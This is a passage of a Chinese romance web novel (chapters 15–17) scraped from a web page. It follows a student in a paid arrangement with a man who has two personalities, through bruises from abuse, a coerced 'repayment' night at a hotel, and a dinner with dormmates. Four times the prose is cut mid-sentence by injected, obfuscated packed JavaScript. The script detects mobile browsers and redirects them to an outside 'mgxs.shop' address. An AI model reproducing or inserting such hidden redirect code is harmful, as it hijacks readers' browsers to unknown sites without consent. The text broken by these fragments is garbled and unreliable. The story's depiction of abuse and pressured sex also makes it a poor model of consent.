RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552824|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗漱……”姚发平小声嘀咕了一句。 李浩楠没理会,黑暗中传来他上床的动静,伴随着一声不容置疑的。 “明天我要早起,睡觉。” “放屁,你哪个周末不是睡到下午一点……” . 江云澈站在原地,紧紧抓着肩膀上的浴巾,心跳得像要从嗓子眼蹦出来。 幸好有李浩楠,否则,他实在不知道该怎么解释。 他甚至不敢想,如果刚才真的掀开领口,会发生什么。 那么私密的地方,留着一个男人咬出来的痕迹。 李浩楠的浴巾还是温热的,搭在他的肩膀上,不算太湿,里面裹满了沐浴露的味道。 手指碰到脖颈侧面,那里又烫又肿。 先去洗漱,然后上床睡觉吧。 . 水房,江云澈把换洗的衣物放进池子里,站在吹风机前。 镜子上的水雾慢慢散去,吹风机嗡嗡嗡的响。 江云澈看着镜中自己的脖颈,一圈青紫的牙印触目惊心,中间破了皮,被水流冲过的。 他想起萧墨宸咬他时,整个人压上来的重量,喉咙里那声闷哼,脑海里不断重复着他对自己说的每一句话。 “谁允许你走的。” 江云澈把吹风机开到最大,滚烫的风从吹风口吹出来,刮过伤口的时候很疼。 萧墨宸就算要结婚也没打算放他走。 这个认知让他头皮发麻,后背那个深牙印也跟着跳着疼起来。 怎么办,难道他要默认这段地下关系吗? 手机在这时亮了。 屏幕微弱的光打在他脸上,是B703发来的微信。 【小江,(′?ω?`)】 【明天我们省队组织友谊赛,你可以陪我一起去吗,等我比完赛我教你游泳好不好。】 江云澈盯着屏幕上的“游泳”两个字,纠结起来。 游泳意味着要脱衣服。 他低头,借着手机微弱的光,看着睡衣下露出的一小截皮肤,那里还残留着之前皮带留下的淤痕。 更别提脖子上的牙印,后背的巴掌印,还有腰侧的淤青。 他该怎么去游泳? 15. 第 15 章 “怎么还是遮不住……” 镜子里,脖颈那圈牙印依旧明显。 粉底液压不住淤青,戴上围巾也只能勉强挡住。 江云澈低头把盖子拧上,沉默了很久。 今天是“毛绒绒”日,陆墨辰约他去游泳馆。 可游泳意味着脱衣服。 他低头看了眼手腕,睡衣袖口下还残留着淡淡的勒痕,后背和腰侧的淤青更别提。 难道要穿潜水服吗?江云澈脑补了一下自己穿潜水服在两米深的泳池里的画面。 他摇了摇头。 书包边缘挂着那只新的毛绒挂件,上次的丢了,陆墨辰重新送他的。 说不值钱,以后他们出门,一人一个。 江云澈伸手碰了碰那个挂件。 心口忽然有点发闷。 但就算再舍不得,该离开的总是要离开,改变不了金主要结婚的事实。 至少陆墨辰比萧墨辰好说话得多,也许找他说解约的事情,要容易一些。 . 学校门口,那辆帕拉梅拉依旧停在老地方。 江云澈刚上车,陆墨辰就偏头看了他一眼。 “今天怎么围这么严?” 江云澈下意识摸了摸围巾。 “有点冷。” “哦,”陆墨辰拖长尾音,也没拆穿,“游泳馆里开着暖气,一会儿进馆里别热坏了。” 他说完,顺手把一杯热奶茶递过去。 “七分糖。” 江云澈怔了一下,他其实没说过自己喜欢七分糖。 “今晚队里友谊赛,”陆墨辰单手打方向盘,语气轻松,“带你见见我以前队友。” “嗯。” “打个赌怎么样,要是我拿第一,你得答应我件事。” “你以前不是专业运动员吗?”江云澈轻声道,“拿第一不是很容易?” “退役两年了,谁知道呢,而且别人也是运动员退役啊。”陆墨辰笑了一下,“先答应。” 江云澈看着窗外,慢慢“嗯”了一声。 比完赛,就结束吧。 . 游泳馆不算大,省队内部友谊赛,不对外开放,只允许带家属。 前台登记的时候,工作人员看了他们一眼,笑着递回通行证。 “家属坐三排以后就行。” 家属,这两个字让江云澈手指微微蜷了一下。 陆墨辰已经拽着他往里走。 “坐这儿,视角最好。” 看台稀稀拉拉坐了十几个人,气氛不像比赛,更像朋友聚会。 陆墨辰把水塞进他怀里。 前排有人回头看了他们一眼,像默认他们本来就是一对。 江云澈低头拧开瓶盖,忽然有点恍惚。 “别乱跑啊。”说完就去了选手通道。 江云澈看着那个背影。 陆墨辰走路时重心总有点懒散,不像萧墨宸,永远笔直、冷硬,像一把压着锋的刀。 可现在,他书包里装着的,却是那份准备退回去的协议。 . 发令哨响后,十条泳道同时入水,整个馆内瞬间热闹起来。 陆墨辰前半程一直压在第二,转身时突然提速,很快反超,最后一个触壁,第一。 看台有人吹了声口哨。 陆墨辰从水里抬起头,随手抹了把脸,下意识往看台方向看了一眼。 泳池灯光落在他湿透的头发上,他很快找到江云澈,对着那个方向,笑了一下。隔着半个游泳馆,那笑意还是亮得晃眼。 江云澈握着矿泉水瓶,慢慢收紧了手指。 他忽然想起游乐场那天,想起鬼屋,想起海边,想起陆墨辰背着他,笑着说“小江你怎么这么轻”。 如果没有联姻,没有萧墨宸,没有一号人格。 也许他们真的会这样过很久。 但可惜没有如果。 . 比赛结束后,陆墨辰很快从通道出来。 头发半湿,队服拉链只拉到锁骨,肩颈还带着没擦净的水。 他在江云澈身边坐下。 “第一诶。” 他偏头看他,眼睛亮亮的。 “帅不帅?” “帅。” 陆墨辰立刻笑了,像只大型犬被顺毛,吐着舌头上前求夸奖。 “刚刚答应我的事,别反悔啊。” “晚上带你去吃夜宵。”陆墨辰靠近一点,压低声音。 “我队里那帮人都以为你是我男朋友。” “我没否认。” 江云澈明显顿了一下,但他不知道该怎么回答。 余光里,他看到刚刚和陆墨辰打招呼的一名运动员走到了他们不远处,和一个女孩抱到了一起。 “啊啊啊,真帅,等会教我,我也要学游泳。”他听到女孩在喊,声音很激动,然后男人把女孩举了起来。 “好嘞,老婆想学什么我都教,肯定仔细,外面买不到。” 女孩被举起来,抱着男人的脖子亲了一口。 江云澈耳根有点发热,来之前,陆墨辰也说过,要教他游泳。 他忽然不敢再往下想了,他以前其实很羡慕这种关系。 可以光明正大站在别人身边,被叫“家属”,被介绍给朋友。 而不是永远躲在协议后面。 陆墨辰说着站起来,很自然地拉住江云澈手腕。 “走,先去换衣间。” 江云澈被他拽着往前走,书包在后背轻轻晃了一下。 那份协议像压在里面的一块石头。 他低头看着陆墨辰握住自己的手,很暖,和萧墨宸完全不同。 江云澈忽然想。 如果陆墨辰知道,昨晚在他身上留下这些痕迹的人,也是“他”,会是什么表情。 再者,如果今天不是来结束关系的,这个傍晚其实很好。 可惜不是。 走到换衣间门口时,江云澈还是把手抽了回来。 陆墨辰回头看了他一眼,像是感受到了什么。 但他没说话。 . 换衣间门关上后,外面的声音一下远了。只剩排风扇低低地响。 陆墨辰从柜子里翻出一条泳裤扔给他。 “商场的质量不好,这是一次比赛的时候穿的。” 他笑了一下,“小了,就穿过那一次,应该不介意吧。” 江云澈摇了摇头。 “等会儿我教你游泳。” 陆墨辰抬手,像平时一样想揉揉他的头发。 江云澈却条件反射躲了一下。 他把手收回去了。 江云澈低头攥紧了那条泳裤。 他忽然意识到,陆墨辰好像一直在认真计划“以后”。。 布料还是潮的,一般游泳前泳裤都会特意打湿,他清楚,但这条,像刚从过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552825|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去某段很热烈的时间里拿出来。 他忽然有点说不出口。 江云澈张了张嘴,想拒绝,想说自己今天不适合游泳,陆墨辰已经拿着毛巾进了淋浴间。 水声很快响起来,江云澈站在原地,看了很久。 最后还是把书包放下,从里面拿出了那个文件袋。 他不能去游泳,这里是陆墨辰的私人换衣间,门口贴着他的工牌,没人会进来。 现在是坦白的最佳时机,他得抓住机会。 . 水声停下时,他已经站在淋浴间门口,玻璃门推开,湿热水汽一下涌了出来。 陆墨辰擦着头发走出来,看到他,先愣了一下。 “怎么了?” 江云澈把文件袋递过去,他不敢看对方,手递上前的时候还在抖。 “辰哥。” “我们的关系,到此为止吧。” 空气安静了一瞬,陆墨辰没接,但脸上的笑瞬间淡了。 “什么意思?” “萧家联姻的事,我知道了。”江云澈声音很轻,“你要结婚了,我们继续这样不好。” 陆墨辰看着他,几秒后,忽然笑了一下,只是那笑意已经很淡。 “所以呢?” “你看到新闻,就来跟我分手?” “不是新闻的问题。”江云澈摇了摇头。 “那是什么问题?” 陆墨辰往前走了一步,江云澈下意识后退,后腰撞到柜门。 “连问都不问我一句,就直接判死刑?” “辰哥……” “还是说,”陆墨辰盯着他,“你本来就想走。” 江云澈张了张嘴,却不知道怎么解释。 果然,就算是不同人格骨子里都是还是一个人,对这件事都是这样的反应,江云澈叹了口气,思索接下来该怎么办,陆墨辰虽然不会像萧墨宸那样直接上手揍他,但现在的他……也很恐怖。 换衣间安静得只剩排风扇嗡鸣,片刻后,陆墨辰忽然抬起手。 江云澈身体下意识僵了一下,他闭上眼睛,身体不受控抖了一下。 可陆墨辰没碰他,只是捏住了他围巾垂下来的一角。 “别动。”陆墨辰声音很低。 下一秒,厚重的围巾被慢慢拉了下来。 灯光很白,白到后颈那圈牙印根本无处可藏。 青紫、破皮、泛红。像某种带着占有欲的标记。 陆墨辰动作停住了,目光落在那个牙印上,很久没动。 空气忽然变得很沉,江云澈手指一点点攥紧。 “……这是昨天弄的。”他说完才意识到,自己像在解释。 可陆墨辰根本没问。 他只是安静地看着那个牙印。 很久之后,才慢慢抬眼,眼底最后一点笑意彻底没了。 “原来你也会选别人。” 江云澈呼吸一滞。 “为了他。”陆墨辰轻声问,“连我也不要了?” 围巾从他指间滑落,掉在地上。 他后退一步,拿起柜子上的手机,低头按了几下。 下一秒,江云澈手机震动,他低头一看,微信转账,十万。 陆墨辰重新抬头看向他。 那双总带着笑意的眼睛,此刻冷得厉害。 “分手可以。” “但你欠我的。” “走之前,总得还一次。” 16. 第 16 章 晚上八点,魔都下了一场暴雨。 手机上弹出紧急播报,本该南下的台风突然右拐,闯进主城区。楼下,景观树被吹得朝一边倒,黄浦江的水面上全是白色的浪花。 回不去了,今晚回不了学校。 江云澈站在落地窗前,外面是魔都的夜景,雨幕把所有灯光都模糊成了一片。 房门关上的瞬间,外面的风雨声一下被隔绝了。 他把额头抵在玻璃上,凉的。 半个小时前,陆墨辰转了十万块过来,附带一句话: “分手可以,走之前,总得还我一次。” 那句话让江云澈站在原地愣了很久。 他不是不知道那句话里的意思。 只是从来没想过,第一次会是在这种情况下。 陆墨辰眼里的情绪缓下来一点。 像是在给江云澈台阶,也像是在给自己找理由。 “就当今天我拿第一,你答应我的事。” 江云澈看着他。 窗外暴雨砸在玻璃上,风声很大,酒店顶层的灯光却安静得过分。 他忽然想起很多东西。 欢乐谷里,陆墨辰背着他一步一步往前走;鬼屋里,对方下意识把他挡在身后;海边的风,还有之前放映厅那个吻。 陆墨辰和萧墨宸不一样。 至少现在站在他面前的人,是陆墨辰。 那个会冲他笑、会黏着他、会因为他一句话高兴半天的人。 江云澈垂下眼。 不知道为什么,拒绝的话忽然有点说不出口。 也许是因为台风。 也许是因为,反正快结束了。 又或者只是因为,如果对象是陆墨辰的话,他好像,没有那么抗拒。 “好。”他轻声说。 说完以后,他自己都怔了一下。 随后,陆墨辰开车带他来到了宝格丽酒店。 . 身后传来脚步声。 江云澈转过身,陆墨辰从淋浴间出来,头发半干,换了件深灰色的T恤,没看他,径直走到吧台前倒了一杯水。 仰头喝下去的时候,喉结顺着脖颈滚了一下。 江云澈视线停了半秒,又很快移开。 陆墨辰放下杯子,才转过来。 视线扫过来的时候,江云澈下意识挺直了背。 但那个视线没有在他脸上停,而是往下移了一点,停在了他领口的位置。 围巾……刚刚进门的时候被他随手摘了,丢在玄关酒柜旁边。 陆墨辰的目光落在他脖颈侧面那圈显眼的牙印上,停了两秒。 “去洗,要我帮你吗?” 江云澈顿了顿,“不用。” 他拿了件换洗衣服进了淋浴间。 . 水声响了很久。 手机放在洗手台边,屏幕亮着没灭,页面还停在一篇帖子上,标题很长,看不清内容。 江云澈闭着眼,任水从头顶浇下来。 这种事他做过一次,在第一次去翡冷翠之前。 那时候是为了做准备,按照手机里教的那样来,每一步都有据可循。 但今天不一样。 今天他洗了很久,久到水都快凉了,才关掉花洒。 他不知道洗干净以后,该怎么走出去。 擦干身体,换上衣服,深吸一口气,拉开了门。 . 陆墨辰坐在阳台沙发上,吧台放着一只空酒杯。 江云澈走过去的时候,对方的视线一直落在他身上,从出来开始就没移开过。 他走到陆墨辰面前,眼睛不知道该看哪里,手也不知道该放哪里。 “辰哥,可以了。” 陆墨辰站起来,朝他走近。 两个人的距离一下被压得很近。 江云澈低着头,陆墨辰比平时高了不少,影子从上方罩下来,把他整个人都笼在里面。 下一秒,一只手臂从膝弯下穿过去,把他整个人抱了起来。 江云澈在他怀里抖了一下,本能地勾住了对方脖子。 陆墨辰把他放到床上,动作不算温柔,但没有弄疼他。 然后,蹲了下来。 把整张脸埋进了他的颈窝。 . 江云澈整个人瞬间僵住,他能感觉到陆墨辰在蹭他。 鼻尖和嘴唇贴着脖子侧面那片皮肤,很慢地、一下一下地蹭。 气息不断落下来,温热的,带着一点淡淡酒气。 江云澈身体本能地缩了一下,想躲。 可陆墨辰抱着他没松手。 手指攥紧身下床单,下巴不受控制地偏向另一边。 “唔……辰、辰哥……” 手腕忽然被抓住。 陆墨辰把他的手掰过来,扣在枕头两侧,十指压得很紧。 随后整个人压了下来,距离近到连呼吸都躲不开。 江云澈第一次这么近地看陆墨辰。 刚洗完澡,头发还没完全干,额前有一点湿,灯光顺着眉骨一路压下来,落进锁骨。 酒气混着薄荷味靠近,很淡,却烫得惊人。 喉结就在离他很近的位置,随着呼吸轻轻滚动了一下。 江云澈呼吸忽然乱了一拍,他以前从来没想过这些。 没想过陆墨辰会这样压着他,没想过对方的力气会这么强。 更没想过,只是被这样看着,腿都会发软。 下一秒,陆墨辰抬起头。 两个人视线撞在一起,近到能看清彼此瞳孔里的倒影。 “你不喜欢?” 江云澈摇头,“不、不是……” “呵。”陆墨辰低低笑了一声。 “不是答应我了吗?” “现在反悔,晚了。” 他低下头,把江云澈没说完的话全部堵了回去。 . 陆墨辰知道自己不该用这种语气,但刚才坐在阳台的时候,他盯着那圈牙印看了整整五分钟。 每一秒都在想,这个人身上,还有多少痕迹不是他留下的。 所以现在,他不想听任何回答。 他怕江云澈说“停”,更怕自己真的会停。 嘴唇贴上去的时候,对方紧闭着,牙齿咬得很死。 他没硬来,舌尖沿着唇缝慢慢描过去,像是在安抚。 然后感觉到身下的人松动一点,嘴唇微微张开了一条缝。 探进去的时候,一点很淡的甜味在舌尖散开,是葡萄酒的味道。 刚才他喝下去的,现在又从江云澈嘴里尝了回来。 他轻轻扫过上颚,明显感觉到怀里的人抖了一下。 碰到那根不知道该往哪里躲的舌头时,江云澈重重吞咽了一下。 生涩得厉害,像第一次被人这样亲。 陆墨辰动作忽然顿住。 随后慢慢退开一点。 视线落下来。 江云澈眼尾不知道什么时候红了,嘴唇微张着,呼吸乱得不像话,他全身都在抖。 “这么怕我?” 江云澈摇头。 陆墨辰盯着他,忽然低声问: “别人碰你的时候,你也会抖成这样?” 江云澈顿了一下。 “没人教过你,还是你不愿意?” 身下的人一下愣住。 . 口腔里还残留着葡萄酒的甜味。 江云澈看着眼前的人,耳根烫得厉害。 那是他第一次真正意义上的接吻,完完全全尝到了另一个人的味道。 没有想象里那么糟糕。 甚至那些残留的触感,像是把身体里某种陌生东西一点点勾醒了。 为什么要害怕?对方是陆墨辰。 是那个永远打着追求他的旗号表明包养他,实则把宠到骨子里的金主。 如果第一次一定要交给谁的话,好像,也只能是他了,江云澈在决定签协议的那一天就已经做好了面对今天的准备。 “辰哥。”开口的时候,他才发现自己声音已经哑了。 他撑着床坐起来,腿有点软,停了一下,还是慢慢走到陆墨辰面前。 抬手搭上他的肩,闭上眼,主动碰了过去,嘴唇贴上的瞬间,陆墨辰呼吸明显重了一下。 一只手搂住他的腰,另一只手扣上后脑,指尖插进发间,加深了这个吻。 江云澈试探着回应。动作生涩得发僵,碰到对方舌尖时慌得缩了一下,又傻乎乎重新凑回去。 陆墨辰低低笑了一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552826|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没再逗他,只是不急不慢地带着他。 这个吻持续了很久。久到江云澈快喘不过气,陆墨辰才慢慢松开。 两个人额头抵在一起,呼吸纠缠。 “江云澈。” 陆墨辰第一次完完整整叫他的名字,然后抓起他的手,放到自己身前,触碰那抹不同寻常。 江云澈手指蜷了一下。 没有抽回去。 . 窗外风更大了。 雨点砸在落地窗上,密密麻麻,像豆子一样不停往下砸。 . 陆墨辰的重量彻底压下来的时候,江云澈手指一下抠进了枕头里。 运动员的体格比想象里更重。 每一次呼吸,都能感觉到对方胸膛贴着自己后背起伏,烫得厉害。 陆墨辰没急着继续。 他低下头,嘴唇贴上江云澈脖子侧面那串牙印。 舔。像在一点点覆盖别人的痕迹。 从最上面开始,很慢地舔过去,时轻时重。 最后停在最深那一处。嘴唇含住,舌尖蹭了一下。 随后牙齿慢慢咬下去。 江云澈喉咙里一下溢出一点压不住的呜咽。 他其实想忍,也想努力让自己放松下来。 可身体根本不听使唤。 整个人绷成一条线,不知道该往前还是往后。 陆墨辰动作停住,他皱了下眉。 “放松。” 江云澈没动。 不是不想,是做不到。 “放松一点。”这次语气明显轻了。 随后,一只手从他腰侧慢慢往上,顺着脊椎轻轻抚过去。 力度很轻,更像安抚,可江云澈还是绷着。 陆墨辰彻底停了下来,几秒后,他低声问: “你是第一次吗?” 江云澈咬着牙,下意识点了一下头。 . 陆墨辰愣住了,手还搭在他腰侧,没动,心口像有什么东西忽然塌下去一块。 酸得厉害。 他低下头,额头抵住江云澈后颈,闭了闭眼。 脑子里忽然闪过刚才那些话。 “现在反悔,晚了。” “不是答应我了吗。” 还有江云澈刚才抖得厉害的样子。 喉结重重滚了一下,随后忽然笑了。不是刚才那种带着刺的笑,而是很浅、很软的笑。 手臂收紧,把人牢牢抱进怀里。 “小江。” 声音低低的,贴在耳边。 “我也没经验。” 江云澈手指轻轻蜷了一下。 “放松些,好痛。”陆墨辰低声哄他。 “嗯……”江云澈皱着眉应了一声。 热气落在耳边,陆墨辰低声说: “我慢一点。” . 窗外,整座城市到了台风中心。 风穿过楼宇之间,发出尖锐呼啸。 树枝被拉扯到极限,在灯光下不停摇晃。 . 雨停的时候,已经很晚了。 宝格丽套房外,魔都夜景重新清晰起来。 黄浦江上的航船灯一点点移动,远处那座塔还是原来的样子,什么都没变。 江云澈靠在枕头上,睁着眼看天花板。 耳边传来很轻的水声,陆墨辰刚把他抱去清洗完,现在还在浴室。 过了一会儿,身旁床垫轻轻陷下去一点。 陆墨辰从背后抱住他。 “还疼吗?” 江云澈轻轻摇头。 “江云澈。” “嗯。” “你现在是我的人了。”陆墨辰停了一下。 “我可以跟你保证,我不会结婚。” “安心和我在一起,好吗?” 江云澈没说话。 只是覆在那只手臂上的手,轻轻动了一下。 他依旧看着天花板。 二号人格陆墨辰说,他不会结婚。 可是萧墨宸呢? 一旦从那个身体里醒过来,这段说不清道不明的关系,从任何意义上,都结束了。 要结婚的人,是萧墨宸。 他陆墨辰,决定得了吗? 17. 第 17 章 凌晨三点,台风刚过境。 宝格丽酒店的落地窗外,黄浦江的水面被风吹得发皱,远处高楼的灯一层层亮着,整座城市像刚从暴雨里醒过来。 江云澈没睡着。 身边的人呼吸很稳,手臂还搭在他腰上,掌心热得发烫。 陆墨辰睡觉的时候很安静,和平时不太一样,没有白天那种运动员得高精力,也没有床上失控时那种侵略感。 江云澈低头,看着那只搭在自己腰间的手。 手很大,虎口和指腹都有一层薄薄的茧,指纹却有些淡,据说好像游泳运动员都是这样。 萧墨宸呢?不知道,他从来没这么近距离观察过一号。 他也根本不敢。 他还记得前天这双手按在他脖子上的压迫感,很重,压得他喘不过气,无论如何也挣脱不开。 但现在,几个小时前,这只手还扣着他的腰,一遍遍低声问他疼不疼。 想到这里,耳根又开始发热,他下意识往被子里缩了一点,结果刚一动,腰间的手臂就收紧了。 “别乱动。” 陆墨辰没醒,声音带着很重的鼻音,像半梦半醒时下意识的反应。 江云澈身体瞬间僵住。 过了几秒,旁边的人又没动静了,呼吸重新平稳下来。 ……睡着了。 江云澈松了口气,可心跳还是很快。 他以前一直觉得,这种事不过就是工作的一部分。 签协议、收钱、陪人,这和端酒、陪笑、穿衣服,本质没区别。 可真正发生以后,他才发现根本不是。 身体会记住。 被抱住的时候会紧张,被亲的时候会发抖,被哄的时候心会软。 尤其是最后,陆墨辰抱着他说:“小江,我慢一点。” 那一瞬间,他居然真的觉得自己差点,就陷进去了。 这个念头冒出来的时候,江云澈忽然有点慌。 他不该这么想的,网上说,他们这一行最忌讳对客人动感情。 更何况,陆墨辰还是个病人,人格最后会消失,会切换,会忘记。 等哪天萧墨宸恢复正常了,这些东西算什么?一场人格空档期里的恋爱游戏? 想到这里,胸口忽然闷了一下,江云澈闭上眼,强迫自己别再继续往下想。 可下一秒,身后的人忽然靠了过来。 陆墨辰像是嫌两个人中间空着不舒服,额头抵在他后颈,下意识蹭了一下。 和之前一样,像一只大型犬。 江云澈呼吸乱了。 半晌,他终于认命似的,把脸埋进枕头里。 . 下午六点,宿舍门被人一把推开。 “江哥!活着没!” 张伟拎着两袋冰可乐冲进来,嗓门大得整层楼都能听见。 江云澈刚从床上坐起来,下意识皱了下眉。 后腰还是酸,尤其刚刚翻身的时候,腿根像被人重新拆开过一遍。 “你怎么了?”张伟愣了一下,“脸这么白?” “没睡好。”江云澈面不改色。 “你最近天天没睡好。”张伟把可乐往桌上一放,“再这样你快成仙了。” 阳台那边传来开门声,李浩楠刚打完球回来,球砸在地上“咚”一声,他一身黑色足球背心,肩膀还挂着汗,进门第一眼先看向江云澈。 视线停了两秒,“病了?” “没。” 李浩楠皱了下眉,没再问,转身去阳台洗脸。 宿舍里只剩水声。 姚发平坐在桌边刷考研题,头也没抬。今天学校要考试,图书馆和自习室都被封了,进不去,他一整天都在宿舍学习。 “你最近那个实习还没结束?” “嗯。” “挺忙?” “还行。” 姚发平“嗯”了一声,笔没停。 张伟已经开始嚎了:“别聊学习了行不行!老子今天实证终于被导师放出来,必须聚餐!” “后街烤鱼,去不去?” 江云澈原本想拒绝,可抬头的时候,正好看见宿舍里熟悉的床帘、乱丢的球鞋、桌上泡面的桶,张伟的电脑界面上,游戏广告还在一闪一闪。 他忽然有点恍惚,这种日子,他已经快一个月没碰过了。 “去。”他说。 . 后街烤鱼店还是老样子。 塑料棚顶,折叠桌,空调半死不活地吹着冷风,门口冰柜上贴着褪色的“青岛啤酒”广告。 老板一看见张伟就乐了:“哟,404寝室今天终于凑齐了?” “义父!”张伟感动坏了,“老位置还有没?” “给你们留着呢。” 几个人笑着往里走。 李浩楠习惯性走在最后,等江云澈进去了,才顺手把塑料门帘拉开,挡了一下外面的风。 店里很吵。 隔壁桌在划拳,角落里几个男生边吃边看球赛,老板娘端着一盆鱼从他们旁边挤过去,喊了声“让让”。 很普通,普通到江云澈坐下的时候,居然有点恍惚。 昨晚这个时间,他还在宝格丽,陆墨辰抱着他,一遍遍低声哄:“小江,疼不疼?” 江云澈感觉自己的心突然颤了一下。 “江哥?”张伟拿菜单在他眼前晃了晃。 “你魂呢?” “没。”江云澈回神,“点你的。” “老规矩,微辣?” “嗯。” “你们一个两个都吃这么清淡,以后老了肯定没乐趣。”张伟边吐槽边勾菜。 姚发平推了推眼镜:“总比你年纪轻轻得痔疮强。” 桌上瞬间笑成一片,连江云澈都低头笑了一下。 李浩楠没说话,只伸手把老板刚送来的热水壶拎过去,把江云澈面前的碗筷重新烫了一遍,他的动作很自然,张伟看见了,立刻起哄: “卧槽,李浩楠你什么时候这么贤惠了?” 李浩楠头也没抬:“滚。” “妈的还区别对待,老子的呢?” “自己没手?” 江云澈低头咬着吸管,忽然觉得这种吵闹居然有点久违。 这一个月,他生活里只剩下:A703。B703。 两个微信,两种人格。 白天各种地方陪玩,晚上去翡冷翠做题,像在两个世界来回窜。 而现在,他终于重新坐回了“普通大学生”的位置。 鱼很快上桌,热油“滋啦”一声浇下去,香味瞬间炸开。 张伟已经开始嚎:“我''草,香死了!!!” “你上辈子饿死鬼投胎。”姚发平嫌弃。 “你懂什么,男人不吃饭和咸鱼有什么区别?” “区别是咸鱼没你吵。” 桌上气氛慢慢热起来,张伟吐槽导师,姚发平聊考研推免,李浩楠偶尔接两句,全是最普通的大学生活。 直到张伟忽然想起来什么:“对了江哥,你最近到底干啥去了?天天神出鬼没。” “实习。”江云澈说。 “什么实习?” “私人助理。” “卧槽?”张伟瞬间精神了,“给富婆当贴身秘书?” 江云澈笑了下:“差不多。” “哪个公司?”姚发平忽然问。 “萧氏。” 空气安静了一瞬。 张伟嘴里的鱼差点掉出来:“……哪个萧氏?” “外滩那个。” “我草?!!”张伟直接拍桌,“江哥你发达了啊!!!” 一旁,姚发平没说话,但握着筷子的手停了一下。 萧氏。 他们学校每年校招宣讲,能进去的人屈指可数,985硕士起步,管培生年薪七位数,而江云澈,一个本科还没毕业的人,先进去了。 姚发平低头喝了口水,心里莫名有点堵。 他从大一卷到现在,绩点、竞赛、实习、论文,生怕哪一步落下。 可江云澈,好像轻轻松松就进去了。 这种落差感让他有些不舒服。于是他低头夹了块鱼,像闲聊一样开口:“对了,你们记得刘洋吗?” “文学院那个院草?”张伟问。 “嗯。”姚发平语气很平静,“他前阵子不是也去实习了吗,后来翻车了。” 张伟眼睛瞬间亮了:“有瓜?!” 姚发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552827|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平笑了一下:“听说被老板包了。” 桌上瞬间安静半秒。 下一秒,张伟直接喷了:“???真的假的?!” “真的。”姚发平低头吃鱼,像在讲八卦。 “听说那个老板是个四十多岁的男的,离婚带俩娃,挺有钱,最开始送鞋送表,后来直接让刘洋搬过去住。” 张伟已经快笑疯了:“哈哈哈……院草下海啊?” 姚发平也笑了笑:“他们院现在都传遍了,墙上也有,我给你翻翻,说刘洋天天朋友圈晒半岛酒店、爱马仕,炫得不行。” “结果前几天闹掰了,半夜被人从酒店赶出来,衣服都没穿。” 张伟拍着桌子狂笑:“妈耶,这金主拔*无情啊。” 周围几桌都有人回头看他们,姚发平推了推眼镜,像是感慨: “所以说,有时候人还是得赚自己能力范围里的钱,拿太多,总归不安心……反正我是不太敢赚这种钱。” 他说这句话的时候,语气甚至算不上恶意,像只是顺嘴一提。 可江云澈握着杯子的手,还是一点一点收紧了,因为就在昨天晚上,陆墨辰也抱着他说:“你现在是我的人了。” 江云澈感觉胸口忽然有些发闷。 张伟还在笑:“不过刘洋也是真牛逼,为了钱连男人都吃得——” “啪。” 突然,筷子敲在桌子上,声音不重,但桌上忽然安静了。 李浩楠抬起头,脸上没什么表情,“吃饭就吃饭,聊别人这些干什么。” 张伟愣了一下,姚发平也停住了。 李浩楠平时脾气不差,但他说话一硬,气氛立刻就不一样了。 他夹了块肉进江云澈碗里,把话题掐断,语气放缓:“你不是胃不好?少喝冰的,别总喝饮料。” 江云澈怔了一下,李浩楠很正常,就像在说一件很普通的事情。 但他总感觉有点怪怪的。 桌上气氛有点僵。 张伟赶紧打圆场:“吃鱼吃鱼,再不吃凉了。” 姚发平低头喝了口水,没再继续。 江云澈有点发愣,他以前一直觉得,协议就是协议,包养而已,目的是钱,可现在坐在后街烤鱼店里,听着别人把这种关系当成笑话讲的时候。 江云澈忽然有点喘不过气。 昨晚陆墨辰抱着他,一遍遍低声哄:“小江,我轻一点。” 结束以后,还低头亲了亲他耳边,问他疼不疼。 那些瞬间明明温柔得不像假的。 可现在,他忽然有点分不清,陆墨辰到底是真的喜欢他。 还是只是—— 比别的金主,更会哄人。 他低头咬了口鱼。 已经凉了,尝不出味道。 . 吃完饭回宿舍的时候,天已经黑了。 路灯把校园照得昏黄,晚风吹过来,后腰还隐隐发酸。 手机在这时震了一下。 B703:【小江,到宿舍了吗?】 下面还跟了个小狗探头的表情包。 江云澈盯着那个头像,脑子里忽然闪过姚发平那句话。 心口莫名发堵,他以前从来不在乎别人怎么看。 